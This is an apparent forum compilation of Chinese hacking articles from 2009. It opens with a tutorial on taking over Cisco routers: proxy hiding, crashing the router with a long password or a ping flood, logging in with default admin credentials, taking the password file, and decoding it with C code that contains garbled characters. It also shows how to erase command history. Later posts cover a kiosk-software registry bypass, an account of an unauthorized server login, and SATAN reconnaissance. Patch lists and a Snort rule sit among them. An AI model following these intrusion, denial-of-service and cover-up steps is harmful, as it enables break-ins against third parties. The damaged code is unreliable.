现在你是不是明白了呢? :-)
----------------------------------------------------------------------------------------------
怎样使用代理服务器?

在网上寻找一个代理服务器,包括你需要的打开的端口的代理服务器。找到后,你可以用telnet 或
hyperterminal通过代理服务器连接到另外一台电脑上。这样做对方的电脑就不可以确定你的IP地址。

-----------------------------------------------------------------------------------------------
第一段:为什么攻击cisco路由器?

你可能会想.. 为什么要攻击 cisco 路由器呢?

答案就是那样做将对闯入其它的系统非常有用...

Cisco路由器非常的快,在一个系统中,一些会是以18 T1连接。而且它们非常灵活,尽管大多数运行
telnet,但是它们可以在DoS攻击或攻入其它系统时发挥作用。

它们同时还会有成千的数据包通过。但是可以被捕获进行译码...许多的cisco路由器受托于系统,它们
可以让你获得其网络中访问其它电脑的确切的数量。
-----------------------------------------------------------------------------------------------
第二段:怎样找到一个cisco路由器?

寻找一个cisco路由器可以说是以项简单的任务,几乎所有的ISP至少通过一个cisco路由器。最简单的
方法是在dos下运行tracert,你可以跟踪到电脑之间的许多电脑,在这之间,必有一个 “cisco”这个
名字。如果你发现了,记下它的IP地址。
:在中国未必有cisco这个名字,但是肯定有路由器的,你可以用SuperScan扫描前两个IP地址,
看哪个开2001端口(Cisco路由器管理)和23端口即是的啦!


现在,你有cisco路由器的位置了,但是它可能还有一个防火墙保护它,所以你要检查一下它是否被封
锁ping连接的次数,如果有回应,它就有可能未被封锁。另外一种方法就是试着访问cisco路由器的一些
端口。你用telnet即可,端口23,如果它要输入密码,未叫输入用
户名,你就可能在一个防火墙。

试着找一个未受防火墙保护的路由器,因为这篇教程主题是路由器,不是教你怎样通过防火墙。当你确
信找到一个好的系统,你应该找一个可以使用23端口的代理服务器,这样你的IP地址就不会被路由器记
录下来了。:找到一台运行Wingate的机器即可。

-----------------------------------------------------------------------------------------------

第三段:怎样闯入一个cisco路由器?

Cisco路由器运行 V4.1 版本的软件(现在普遍使用的),这很容易干掉。你只要通过代理服务器连接到
一个cisco路由器,输入一串很长的密码,如:

10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk
10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk
10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk
10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk


现在开始等,cisco系统将会重新启动,可以说你已经攻击它,使它离线了...但是过2-10分钟,它就会
恢复,我们应该进入它。

如果什么都没发生,那么它运行的不是脆弱的软件,你可以多试几种DoS攻击,比如大量的 ping.到dos下,
输入 "ping -l 56550 cisco.router.ip -t",这会起到同样的效果.
:很有可能以上两种方法都不行,反正是要其down机,那么试试那个攻击yahoo的udpFlood,一定
可以使其down机。一定要注意小心啊!我相信你应该知道该怎么保护自己。

如果它被动结,就另找一个代理服务器进行连接。并且用户名为"admin",密码为"admin",因为这是默认的。
因为当它暂时的disabled,它将恢复到默认状态。
:你到我主页,会有一篇文章包括几乎所有的路由器的默认用户名和密码。

现在,你已经进入了,你应该获得密码文件!系统运行不同的软件,但大部分有个像"htl-textil"
这类的提示,现在输入"?",观看命。你会看到有很多的命令,你会发现一个传送命令,用这个命令,在当前Admin用户的情况下,把密码文件发送到你的电脑23端口上。但是在这之前,你要把你的超级终端设定好。你发送文件之后,超级终端将问你是否接收文件,你选择是并保存在电脑中即可。离线. 你通过了最难的部分,下面准备开始破解密码。
-----------------------------------------------------------------------------------------------
第四段:怎样破解密码?

现在,你获得了密码文件,你要破解它才能继续进入路由器。所以你可以运行John the Ripper之类的软件破译它。

这是我推荐的最简单的方法.另一种方法是试着把它解码。这样做需要一个解码软件,使用某些解码软件,你还要有足够的耐心。

这儿有一个专门为cisco路由器密码文件解码的软件,你可以在Linux中编译它:

#include
#include

char xlat[] = {
0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f,
0x41, 0x2c, 0x2e, 0x69, 0x79, 0x65, 0x77, 0x72,
0x6b, 0x6c, 0x64, 0x4a, 0x4b, 0x44
};

char pw_str1[] = "password 7 ";
char pw_str2[] = "enable-password 7 ";

char *pname;

cdecrypt(enc_pw, dec_pw)
char *enc_pw;
char *dec_pw;
{
unsigned int seed, i, val = 0;

if(strlen(enc_pw) & 1)
return(-1);

seed = (enc_pw[0] - ?') * 10 + enc_pw[1] - ?'

if (seed > 15 || !isdigit(enc_pw[0]) || !isdigit(enc_pw[1]))
return(-1);

for (i = 2 ; i <= strlen(enc_pw); i++) {
if(i !=2 && !(i & 1)) {
dec_pw[i / 2 - 2] = val ^ xlat[seed++];
val = 0;
}

val *= 16;

if(isdigit(enc_pw = toupper(enc_pw))) {
val += enc_pw - ?'
continue;
}

if(enc_pw >= 'A' && enc_pw <= 'F') {
val += enc_pw - 'A' + 10;
continue;
}

if(strlen(enc_pw) != i)
return(-1);
}

dec_pw[++i / 2] = 0;

return(0);
}

usage()
{
fprintf(stdout, "Usage: %s -p \n", pname);
fprintf(stdout, " %s \n", pname);

return(0);
}

main(argc,argv)
int argc;
char **argv;

{
FILE *in = stdin, *out = stdout;
char line[257];
char passwd[65];
unsigned int i, pw_pos;

pname = argv[0];

if(argc > 1)
{
if(argc > 3) {
usage();
exit(1);
}

if(argv[1][0] == '-')
{
switch(argv[1][1]) {
case 'h':
usage();
break;

case 'p':
if(cdecrypt(argv[2], passwd)) {
fprintf(stderr, "Error.\n");
exit(1);
}
fprintf(stdout, "password: %s\n", passwd);
break;

default:
fprintf(stderr, "%s: unknow option.", pname);
}

return(0);
}

if((in = fopen(argv[1], "rt")) == NULL)
exit(1);
if(argc > 2)
if((out = fopen(argv[2], "wt")) == NULL)
exit(1);
}

while(1) {
for(i = 0; i < 256; i++) {
if((line = fgetc(in)) == EOF) {
if(i)
break;

fclose(in);
fclose(out);
return(0);
}
if(line == '\r')
i--;

if(line == '\n')
break;
}
pw_pos = 0;
line = 0;

if(!strncmp(line, pw_str1, strlen(pw_str1)))
pw_pos = strlen(pw_str1);

if(!strncmp(line, pw_str2, strlen(pw_str2)))
pw_pos = strlen(pw_str2);

if(!pw_pos) {
fprintf(stdout, "%s\n", line);
continue;
}

if(cdecrypt(&line[pw_pos], passwd)) {
fprintf(stderr, "Error.\n");
exit(1);
}
else {
if(pw_pos == strlen(pw_str1))
fprintf(out, "%s", pw_str1);
else
fprintf(out, "%s", pw_str2);

fprintf(out, "%s\n", passwd);
}
}
}

如果你没有使用Linux,你就只好用John the Ripper之类的软件,带上密码档,进行暴利破解。

-----------------------------------------------------------------------------------------------

第五段:怎样使用一个cisco路由器?


要使用它,你先必须连接到它,你可以用代理,以免你的IP地址被记下。当你进入的时候,如果你想关闭
历史记录来掩盖你的行为,你只要输入"terminal history size 0"。这样就不会被记下什么了! 输入 "?"
来看路由器中的命令,大多数你都可以用的。


这些路由器一般都有telnet,所以你可以通过telnet连接到其它的系统上(比如unix boxes),并且攻击
它们。你还可以使用ping 和 traceroute 进行跟踪系统或进行DoS攻击。你也可以监听数据包,但我不推荐
这样做,因为并不是一定成功,而且会被发现....

-----------------------------------------------------------------------------------------------

如果你第一次没有攻入cisco,不要担心...你一两次是不可能成功的。它需要不断的练习和超强的耐力。
这儿只向你将怎样做...一定要在合法的情况下进行啊!
                                                      ----摘自“安盟”

一光年的距离 2009-04-23 17:53
   国内Unix主机常见安全漏洞描述

影响:
  入侵者可以藉此漏洞修改网页、获得该主机管理权

事件描述:
  在遭受攻击的 UNIX 系统上,入侵者常利用下列
  rpc.ttdbserver
  rpc.cmsd
  rpc.statd/automountd
  sadmind
  程序之 Buffer Overflow 漏洞自远程入侵主机。


解决方法:
1.将不必要的 RPC service 自 /etc/inetd.conf 中移除,移除方法为

  (1)编辑 /etc/inetd.conf,将不必要的 service 前面加上 "#" 或直接删除后存盘
  (2)kill -HUP inetd.pid

2.安装修补程序 (patch)

  (1)rpc.statd 及 automountd

  Solaris:
  请依照您的版本安装下列修补程序


rpc.statd:

OS Version Patch ID
__________ _________

SunOS 5.6 106592-02
SunOS 5.6_x86 106593-02
SunOS 5.5.1 104166-04
SunOS 5.5.1_x86 104167-04
SunOS 5.5 103468-04
SunOS 5.5_x86 103469-05
SunOS 5.4 102769-07
SunOS 5.4_x86 102770-07
SunOS 5.3 102932-05

automountd:

OS Version Patch ID
__________ _________
SunOS 5.5.1 104654-05
SunOS 5.5.1_x86 104655-05
SunOS 5.5 103187-43
SunOS 5.5_x86 103188-43
SunOS 5.4 101945-61
SunOS 5.4_x86 101946-54
SunOS 5.3 101318-92

  档案可至下列 URL 下载:
  ftp://sunsolve.sun.com/pub/patches
  RedHat:
  请参考下列 URL:
  http://www.redhat.com/support/errata/RHSA-2000-043-03.html

  Debian:
  请参考下列 URL:
  http://www.debian.org/security/2000/20000719a

  (2)rpc.cmsd

  Solaris:
  请依照您的版本安装下列修补程序

  OpenWindows:

SunOS version Patch ID
_____________ _________
SunOS 5.5.1 104976-04
SunOS 5.5.1_x86 105124-03
SunOS 5.5 103251-09
SunOS 5.5_x86 103273-07
SunOS 5.3 101513-14
SunOS 4.1.4 100523-25
SunOS 4.1.3_U1 100523-25

  CDE:

CDE version Patch ID
___________ ________
1.3 107022-03
1.3_x86 107023-03
1.2 105566-07
1.2_x86 105567-08

  档案可至下列 URL 下载:
  ftp://sunsolve.sun.com/pub/patches

  (3)rpc.ttdbserverd

  Solaris:
  请依照您的版本安装下列修补程序


SunOS version Patch ID
_____________ _________

5.7 107893-04
5.7_x86 107894-04
5.6 105802-11
5.6_x86 105803-13
5.5.1 104489-10
5.5.1_x86 105496-08
5.5 104428-08
5.5_x86 105495-06
5.4 102734-05

  档案可至下列 URL 下载:
  ftp://sunsolve.sun.com/pub/patches

  (4)sadmind

  Solaris:
  请依照您的版本安装下列修补程序


OS Version Patch ID
__________ _________
SunOS 5.7 108662-01
SunOS 5.7_x86 108663-01
SunOS 5.6 108660-01
SunOS 5.6_x86 108661-01
SunOS 5.5.1 108658-01
SunOS 5.5.1_x86 108659-01
SunOS 5.5 108656-01
SunOS 5.5_x86 108657-01

AdminSuite Version Patch ID
__________________ ________
2.3 104468-18(注)
2.3_x86 104469-18(注)

  注:若有安装 AdminSuite,请安装 patch,因为 AdminSuite 可以安装在 SunOS 5.3-5.7 的版本
  档案可至下列 URL 下载:
  ftp://sunsolve.sun.com/pub/patches
                                                -----摘自“安盟”

                                                                    

一光年的距离 2009-04-23 17:54
微软Windows 2000域帐号锁定机制可被绕过

Microsoft 安全公告 (MS00-089) (MS,补丁)

涉及程序:
NTLM

描述:
微软Windows 2000域帐号锁定机制可被绕过

详细:
微软发布了一个安全补丁消除 Microsoft Windows 2000
中的安全漏洞。允许一个恶意的用户使用穷举法猜测帐号密码那怕域管理员使用了域帐号锁定策略。

Windows 2000 的 NTLM 认证操作存在一个安全漏洞,允许绕过本地 Windows 2000
机器中的域帐号锁定策略。在一个使用 NTLM 认证的非2000域中,Windows 2000
主机无法识别本地的用户制订的域帐号锁定策略。不使用NTLM进行认证的 Windows 2000 系统不受本漏洞的影响,因此作为
Windows 2000 域成员的客户端不存在本漏洞,因为它们实现的是 Kerberos 认证。

受影响的系统;
Microsoft Windows 2000 Professional, Service Pack 1
Microsoft Windows 2000 Server, Service Pack 1
Microsoft Windows 2000 Advanced Server, Service Pack 1
Microsoft Windows 2000 Datacenter, Service Pack 1

解决方案:
下载并安装补丁;
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=25606

一光年的距离 2009-04-23 17:54
玩转美萍ABC

(以下是美萍4.73标准版的漏洞)

获取密码
打开IE,去下载一个MPPASS.EXE,那是用我写的名为“必扑”的小程序——必扑一声,美萍杀杀杀
用法很简单,全中文的界面,看的懂中文就能用,还有修改密码的功能
不过,这个版本在“美萍4.73标准版”中测试通过,在别的版本中不知道能不能行的通,试试吧!!!

解除regedit的限制
先打开IE,打开“收藏”菜单,用鼠标将“链接”拖入IE的空白区,然后“向上”、“向上”、再“向上”,看到了什么?对了,是C盘
根目录,点击“command.com”,出现MS-DOS窗口(好大的漏洞,恐怖啊),键入
COPY CON A.REG
REGEDIT4
[hkey_current_user\software\microsoft\windows\currentversion\policies\system]
"disableregistrytools"=dword:00000000
^Z

REGEDIT A.REG
将A.REG的内容导入注册表,完成!!!
注意:我在这利用COPY CON命令而不用EDIT是因为在这种限制下,C盘是防写入的,所以用EDIT不行,但你也可以用记事本

如何删除文件内容
DEL 是不能用了,ERASE给别提,总之,文件是不能删了,要删的话就用COPY NUL来删文件的内容吧!

要修改文件内容就用记事本吧

以上方法百试百灵,不成功来找我!有这么些漏洞,解美萍没问题了吧!!!

                                              ———碳烧咖啡

一光年的距离 2009-04-23 17:54
新的DoS攻击方法

作者: Robert Keyes

    最近出现了一种新的DoS攻击方法,通常用NAPTHA来表示这一类攻击。NAPTHA主要利用了操作系统TCP/IP栈和网络应用程序需要使用一定的资源来控制TCP连接的特点。
    如果在短时间里不断的建立大量的TCP连接,并且不断开,使其保持在某个特定的状态,那么被攻击机对应端口的程序或整个操作系统会被很快消耗大量的系统资源而陷入瘫痪。在以前攻击TCP的方式通常是利用TCP三次握手的缺陷进行SYN Flood,如果要进行建立大量连接来耗尽对方资源,恐怕自己先耗尽了自己的资源。因为,利用虚假的IP很难进行真正的连接,而建立真正的连接,自己机器系统可能同样要耗费和被攻击机差不多的资源。这样的攻击也就失去了真正的意义。而现在NAPTHA利用一些技巧实现了利用自己机器上少量的资源就可以快速建立大量连接的方法,那么就使这种攻击成为了可能。

    MAPTHA是一个非常有效的利用TCP连接保持状态来耗尽系统资源的例子.它不利用传统的那些网络API来实现建立TCP连接。与真正的TCP/IP堆栈不同,它不记录任何端口的状态,它只传输和回应那些标记包, 它可以很快的在被攻击机上建立成千上万的连接,而在攻击机上占用非常少的资源。那么它就能很容易的暴露并利用对方机器上特定服务程序或系统在TCP连接处理上的漏洞。
下面是几个例子:

- Novell's Netware 5.0 sp1 在524端口打开3000个连接后,所有的64M内存被耗尽,CPU 负荷达到100%. 在停止攻击12个小时后,服务器仍然没有复位连接和恢复内存。

- FreeBSD 4.0-REL 在SSH端口打开495个连接后,系统陷入瘫痪。由于每一个连接都打开一个实例,使得系统的文件句柄很快耗光,系统报错:"too many open files in system". 差不多 30 分钟后连接开始复位,系统开始恢复。

- Windows 2000 看起来并不受影响。

建议:
不幸的, 还有许多系统都不同程度的受到NAPTHA攻击的影响, 在这有一些小小的系统设置方面的建议

1. 限制开启的服务,尤其是那些易受到NAPTHA影响的服务。
2. 在unix系统里限定inetd产生的进程占用系统资源的大小。
3. 调整内核TCP默认连接参数。
# cat /proc/sys/net/ipv4/tcp_keepalive_time
7200
# cat /proc/sys/net/ipv4/tcp_keepalive_probes
9
# cat /proc/sys/net/ipv4/tcp_max_ka_probes
5
# echo 30 > /proc/sys/net/ipv4/tcp_keepalive_time
# echo 2 > /proc/sys/net/ipv4/tcp_keepalive_probes
# echo 100 > /proc/sys/net/ipv4/tcp_max_ka_probes

6. 可以用下列指纹利用ids系统侦测这种攻击。

IP:
TOS = Low Delay
ID = 413
TCP:
FLAGS = SYN
SEQ ID = 6060842
WINDOW = 512
在Snort (http://www.snort.org) 中填加 Naptha过滤规则:
alert tcp any any <> any any (flags:S; seq: 6060842; id: 413; msg: "NAPTHA DoS Attack";)

                                                        -----摘自“安盟”

一光年的距离 2009-04-23 17:55
一次简单的入侵

    前几天Wuftp的远程缓冲溢出被发现,因为Wuftp很流行,我当时就写信通知了我一个朋友,他公司是linux6.1 Wuftp2.5.0。 我告诉他希望他们马上补上漏洞,并告诉他可以很轻易的获得root权限。 谁知道他到oicq上找到我说:我们同事说你吹牛。 哎,当时的心情低落到了极点,真想XX了他们公司的破SERVER!
    但我只对他说:“好,我把我们的入侵检测授权给你,你叫你们公司经理签字,我保证让他爽!” 然后我把入侵检测授权书发了过去,他们经理不签。我就开始这么干了: 通过匿名代理,连接到了一台国外的server 先进行端口扫描-------->这步我认为是非常必要! 发现对方finger打开,

然后:

finger @xxx.xxx.xx.x

root

xxxxxxx----------->是一个经常用到的单词

finger xxxxxx@xxx.xxx.xx.x

    看了一下他的大概情况。

    然后根据我的经验分析,这个名字是一个经常使用的单词,一定是个公用的用户。(他们公司的背景是软件开发)。

    一个公用的用户就意味着密码不会太复杂。 所以我选择了尝试密码。

rlogin xxx.xxx.xx.x -l xxxxxx
用户名为密码这是最有可能的,我一试,进去了!

    权限还可以,可以cc,gcc, 剩下的什么都不用说了。linux6.1有很多本地的溢出。 不过我没有继续在做下去,在oicq中找到了他,对他说,是否要我给你做点标记呢?他说算了,我就放弃了!


    这其实是一个很简单的入侵整个过程没有花5分钟。而我要讲述的是:做为一个优秀hacker,需要在最断时间内,找到方法。方法很简单,你只需要用心的对待这件事情,冷静的思考和分析。

                                                          ----摘自“安盟”

一光年的距离 2009-04-23 17:55
远程攻击学习ABC—从SATAN开始的漏洞收集(上)

寒路

我声明整理这篇文章的初衷不是怂恿更多人去搞破坏,只是想说明这么一件事情而已。如果你以为这篇文章能教会你什么的话,那么你也错了,因为往往技术取决于你的经验,而经验这东西需要自己去实践。当然了,最重要的是这篇文章总得来说还是比较杂乱的。

#漏洞的感念:
  漏洞是硬件、软件或者是安全策略上的错误而引起的缺陷,从而可以使别人能够利用这个缺陷在系统未授权的情况下访问系统或者破坏系统的正常使用。这些缺陷所能影响到的网络范围是很大的,其中包括路由器、客户和服务器程序、操作系统、防火墙等。
  漏洞本身不会自己出现,它依赖于人的发现。而你每天看到的那些“最新”安全漏洞描述,这些可能是被HACKER、安全服务组织、其程序生产商或者还有不安分者发现的。而这些漏洞的信息则是以不同的方式发布的。如果这个漏洞是安全服务者或者是HACKER还有就是程序生产商发现的话那么就会及时的出现在一些安全资讯邮件列表或者BBS上,以便于网络单位查询和弥补。而那些被不安分者发现的漏洞,一般是通过破坏一大堆或者更多的服务器来“发布”的。这个例子你可以用去年微软的一个bug来证实。因为微软公司和安全服务者接受到这个漏洞信息的代价是近万台服务器被Denial of Service。我记得我在去年在订阅的国外一个网络破坏组织的内部邮件列表中收到一个关于Unix中的缓冲区溢出的漏洞,它所能影响到的Unix版
本很多而且危险程度不小。但这个漏洞最后被打上补丁由安全服务组织发布却是在一个半月之后,这短短的一个半月所受到伤害的服务器一大堆,其中还包括美国的MILNET和印度某核武器研究所。

#发现安全漏洞:
    要想发现漏洞是一件复杂的过程,它需要你熟悉各种语言和相当的网络技术。但我提前说了,我并没有发现过什么可值得说明的漏洞,你可理解为我仅仅只是知道这是怎么一回事就行了。:)
在这里我本想从两部分来描述,第一就是漏洞的是怎么产生和人为产生的安全弱点;第二就是我们做为一般用户怎么样才可以得到目标服务中存在着一些漏洞。但上个月在Net.kook BBS上Ghastful-elf有发一篇《Simple Discover Safety Failing》,在这篇里他系统的讲述了产生漏洞的情况和它们的共性,所以我就没必要再浪费我们的时间去描述了,就只说其二。

如何得到系统的漏洞信息
  当然是扫描了。扫描器是自动检测远程或本地安全性弱点的程序。而真正的扫描器是TCP端口扫描器,这样的一些程序可以指定某些TCP/IP端口(ftp等)以及她的服务进行检测,记录住每个从目标机器中返回的信息。这样可以帮助你收集到目标主机上的有用的信息。而其它像host、rusers仅只是一些Unix上的网络
应用程序,这些一般用在观察某种服务是否正常工作。扫描程序也是很多攻击者较为常用的,很多攻击的开始都是从扫描先进行的。
一、SATAN——撒旦
  SATAN这程序应当是你知道的,它是Dan Farmer and Weitse Venema用C、Perl和一些HTML专门为Unix而设计的分析网络的安全管理和检测、报告的工具,利用它可以收集到目标主机的很多信息。它能在很多Unix平台上运行,大多都不需要移植。SATAN的确很古老了,但是它目前在网络安全领域中所起到的作用却一直没有衰退过,这也是值得我去描述它的原因。SATAN特点包括可扩展的框架、友好的界面以及检测系统的可伸缩方法。它总体结构允许使用者方便的增加附加的探测器,它可以方便快速自动的检测很多系统,这也就是SATAN自1995年4月发布以来能成为网络安全领域的重要程序的原因之一。
  SATAN有一个很重要的也很奇特的功能,这个功能也体现了它的创造者的理念是很清楚的,他明白这个是干什么的。那就是SATAN的自动攻击程序。因为创作者把入侵做为了安全最慎重的环节。
  在进一步讨论SATAN之前有必要先了解SATAN都能干些什么,如果你经常更新你的漏洞资讯的话那么这对SATAN来说是最好不过的了。因为它可以扫到目标主机的很多已知漏洞。具体表现为:
●FTPD脆弱性及ftp目录是否可写。
目前大多数Unix系统都提供FTPD(有些版本的Unix是in.ftpd)守护进程,但启动时都是不带参数启动的,有时候很多入侵者控制到主机后想得到更高级功能的FTPD时会做重新启动机器的处理,在启动FTPD时会加进一些参数……
●NIS的脆弱性
NIS是一种网络查询服务,它可以将所有包含系统管理员信息的文件保存在一个指定的主机上向来自网络其它的用户提供这些信息。
●RSH的脆弱性
它是Unix中的一个服务程序,可以执行指定的命令。
●NFS的脆弱性
NFS是一种网络文件系统,一种允许一台机器通过TCP/IP网络连接使用另一台机器上磁盘空间和文件的协议。它目前已经成为了Int-ernet上进行分布式访问的一种事实上的标准。
●X服务器的脆弱性
●Sendmail服务器的脆弱性
Sendmail的主要功能是转发邮件。从Sendmail可以得到一些如当前时间和主机号等…
具体的扫描内容表现为:
●可写匿名的FTP根目录
●借助TFTP的对任意文件的访问
●从任何主机上的REXD访问
●NIS口令File可被任何主机访问
●向任何host调出的NFS文件系统
●X服务器的服务器控制无效
●老版本(在8.6.10前)的Sendmail(据我所知现在这个似乎没有了)
  我们就先从SATAN的安装说起吧。SATAN要比一般的扫描程序占用更多的资源,尤其是内存和CPU功能方面要求更高一些。并且它还需要一套Perl5.0以上的脚本解释程序的支持,还需要一个浏览器,因为它在运行的时候会自动启动浏览器。SATAN程序包个头也比较大,容易暴露目标,所以你在寻找SATAN的安装平台的时候要想到以上几点,否则就有可能白费功夫。SATAN安装一般所在的目录是/satan -1.1.1(少数不同)。安装之前首先得运行Perl程序reconfig,用它搜索各种不同的组成成分,并自定义目录的路径。要是遇到那些没有把浏览器安装在标准目录里(并且没有在PATH中进行设置)的那么就得你自己手工进行设置了,因为reconfig找不到。还有就是遇到没有用DNS(指的是自己机器上)的,那么就必须在/satan-1.1.1/conf/satan.cf中进行$dont_use_nslookuo=1的设置了;最后你可以在分布式系统上运行SATAN的安装程序(IRIX或SunOS),不过在编译的时候你可得多注意一下了,很容易出错的。SATAN可以自动扫描整个子网,驾御它很容易。但使用之前你必须拥有起码的网络攻击的普通知识。一般对Unix进行攻击大多首要目标就是得到一个普通的登陆用户(我想这个在很多初学者都提过),即在/etc/passwd或NIS映射中的加密口令拷贝的获取,得到后便可利用Crack猜出至少一个口令。这就明显的表示出来对单一主机攻击的优越性,注重在目标主机与漏洞共存的系统,也就理解为系统受托于目标系统、各个系统连接在一个物理网上或者各个系统拥有相同的用户,那么攻击的发起者可以利用DNS高速缓存崩溃或IP欺骗伪装成某个受托系统或是用户,也可以是在信任主机或者是伪装成的信任关系与目标机器的传输间架起一道屏障,即所谓的包截获,来截获来于目标机器与各个机器间的数据信息。而目前最常见的则是对第一个用户口令的寻找,也就是上述所描述的/etc/passwd或NIS了。SATAN可以帮助你搜寻目标系统中未加限制的NFS允许根对其读与写或根的脚本,换句话来说就是SATAN可以为你收集到目标机器各个用户的管理级别或根级别访问系统。如果说用SATAN对一台毫无安全而言的Unix的话,根本不需要你做任何复杂的过程,它都可以为你得到系统的进入点或是找到一些不需要级别用户的权限即可控制系统。这就言语着ITL Scale中所说的ITL9级了,SATAN可以跨越它。
  因为在SATAN中作者写进了攻击程序,即可以模拟入侵者来自动完成对系统的入侵。
这一点在Farmer&Venema93年合著的《Improving the Securty of Your Site Breaking Into It》和Farmer的《computer-Oracle and passwd system(COPS)》中都有详细的说明,即便是现在已经过了几年了,但这两篇著作仍有保持着其的权威性和重要性。
  总得来说,一般远程攻击第一阶段是获取系统上的一个user name and passwd,而第一步又可分为针对目标主机建立安全漏洞列表和信息库两个步骤,攻击者通过对目标主机的漏洞与机会进行搭配,而获取对系统的访问权限;第二阶段就是获取根的访问权限,一旦可以获取根的访问权限了那么这个机器就已经可以说被完全控制;第三阶段就是扩展访问权,用来对其它网络进行攻击,这个阶段还包括清扫攻击时留下的痕迹,这样就可以把自己隐藏起来不被发现(为此有人专门编写了一些隐藏踪迹的工具,最为著名的就是Kit Vtivoy的rootkit了,rootkit里包括了ps、ls 、sum、who等内容,rootkit本身可以篡改系统内的ps、ls、sum、who等信息的输出,这样管理员就不能确定二进制的完整性Integrity,因为sum被感染过,被感染过的ps则不能显示攻击者运行的程序,不过rootkit这个程序因为作者只是想做为技术交流所以没公开发布过,所以一般不容易得到它(如果你运气好的话可以到ftp://semxa.technotr.com/tools/中“找”到它)。而SATAN所能做到的就是第一、二阶段。

  要想对SATAN做详细的介绍和说明的话我想它可能得一本书来描述。在这里当然不能那么详细的去做,所以尽量的用事例来说明它。可以从攻击者的角度来进行,首先来确定一个虚拟的攻击目标再jack in it。
它为www.semxa.com,接着就这个目标进行走马观花一般的步骤说明。
A\第一步千篇一律,那就是收集目标机器的信息。为了简单但又详细说明SATAN的功能,首先做的是不用SATAN对www.semxa.com进行扫描,而是背弃SATAN之外的工具也或者完全是手工完成它。因为我觉得这样更加有persuasion。
1、获取主机名和IP地址以:
  通过运行whois和nslookup可以获得semxa.com域里的dns1.semxa.com等几个主机,再用named-xfer程序的执行结果和whois、nslookup的结果一起分析,这样就得到在semxa.com域里那些DNS服务器跟网络有连接。到了这个时候一个简单的分别ping各主机便可得到这些主机有那些是在Firewall后等等信息。
  同时还得到semxa.com运行有ftp、telnet、SMTP等服务。
不过很多攻击者不习惯于此!仅仅只是直接ping主机获取IP,其它不做出判断。在这里获得的IP地址为:4.4.4.4
2、获取系统OS类型信息:
  通常攻击者习惯于利用telnet来判断系统的OS,因为它得到的信息是比较可靠的。有时候仅仅一个telnet因为系统做过保护所以也不一定能有详细的诸如OS具体类型、版本或者硬件平台等等结果,攻击者会尝试利用缺省的无口令帐号登陆系统,这些帐号有:guest、lp、nuucp、tour、demos、4Dggifs9、root等等。如果说某个telnet守护程序允许你向它发送环境变量并且不做任何接收限制的话这可是好的开端.当然管理员不会这么认为 or ;-)or;》3、获取FTPD信息:
一个简单的ftp登陆,在起始行一般都会给出版本的信息。如
#ftp www.semxa.com
Connected to www.semxa.com
220 www.semxa.com FTP server(Digital UNX Version wed Apr 8
09:21:53 EDT 1998) ready.
……
  这个时候可以利用匿名用户ftp或者anonymous来尝试登陆,匿名的Ftp对攻击收集信息来说是很重要的。
User (www.semxa.com none)): ftp
530 User ftp access denied
Login failed.
……
  不过这个不允许匿名用户登陆,那么得到FTP server的所存在的弱点也是很有必要的,虽然说目前很多时候对于FTP server的弱点不会更多的引起注意力,但我想不久的将来FTP Server上的弱点有可能是个deathblow。
4、获取Sendmail信息:
  直接用telnet connected to SMTP的端25来获取信息。Sendmail最初
设计没有考虑其安全性,所以也是一个漏洞集中地。
#telnet www.semxa.com 25
229 www.semxa.com Sendmail 8.8.7/8.8.7 ready at Wed Apr
这里得到了Sendmail版本为8.8.7,其配置文件版本也是8.8.7。如果说这里的版本是8.6.10以前的话那么我就可以就此止步了。因为完全可以在它上面找到几个可用的漏洞来结束这次攻击的第一阶段。
5、UDP/TCP扫描获取信息:
  这样去做主要是想获取目标系统中的/etc/inetd.conf文件信息。这些文件提供了假定的监听端口服务列表,它们允许对其进行telnet的连接。但这么做很浪费时间,针对TCP端口可以依赖更快捷的途径如利用Strobe(ftp://semxa.technotr.com/tools/得到)来完成,但得注意Strobe遗留痕迹的问题。可我喜欢它的速度,还因它不需要money来login。:-)而对UDP端口可用COAST(ftp://semxa.technotr.com/tools/)来完成。这些信息那些可取那些不可取现在先别去理会。等把所有的信息全部收集完成之后自己就这些信息做一个列表再慢慢analysis了。
6、获取Portmap信息:
  网络服务主要通过三种机制提供的,它们是:永远监听端口的Network guardianship course、用inetd监听端口并在inetd获得一个连接请求时被调用的网络程序以及用Portmap程序为特定程序的请求动态分配一个响应端口的rpc服务。对此类信息的收集可以利用rpcbind(ftp://semxa.tech-notr.com/tools/)程序完成,这个程序也是Weitse Venema写的。
7、获取Boot信息:
  在这里主要想做的就是获得同一个LAN网段内的bootps服务访问权限,通过一个ping来确定目标机器的LAN地址,而ping会让目标机器产生一个ARP请求包,在这个包里含有目标机器的LAN地址,然后可以转储目标系统的ARP告诉缓存……这是案例!需要你跟目标主机在同一个LAN内,而现在的semxa.com并非如此。所以此段信息即便是能获取也不会有太大用处。当然了,如果能获取的话那么就证明跟semxa.com是在一个LAN内了。你可以当这些话是废话。:)
8、尝试finger、rusers、rwho来获取信息:
  finger用来显示用户信息,具体的做法随处可见了。而rusers则是用来显示一台远程主机的登陆用户列表的。rwho跟who有点相同,rwho是显示在本地的网络上和主机有那些人在登陆。rusers会产生跟finger类似的列表,但rusers则不能查询单个用户的信息。表现为:#rusers -1 www.semxa.com……
rwho对于攻击来说不是很有用的信息,但如果你跟目标主机是在同一个LAN的话那么就可另当别论了,rwho依赖其守护进程rwhod,责任是向其它rwhod程序定期广播这个时间段谁在系统上的信息。
9、获取NFS Export信息:
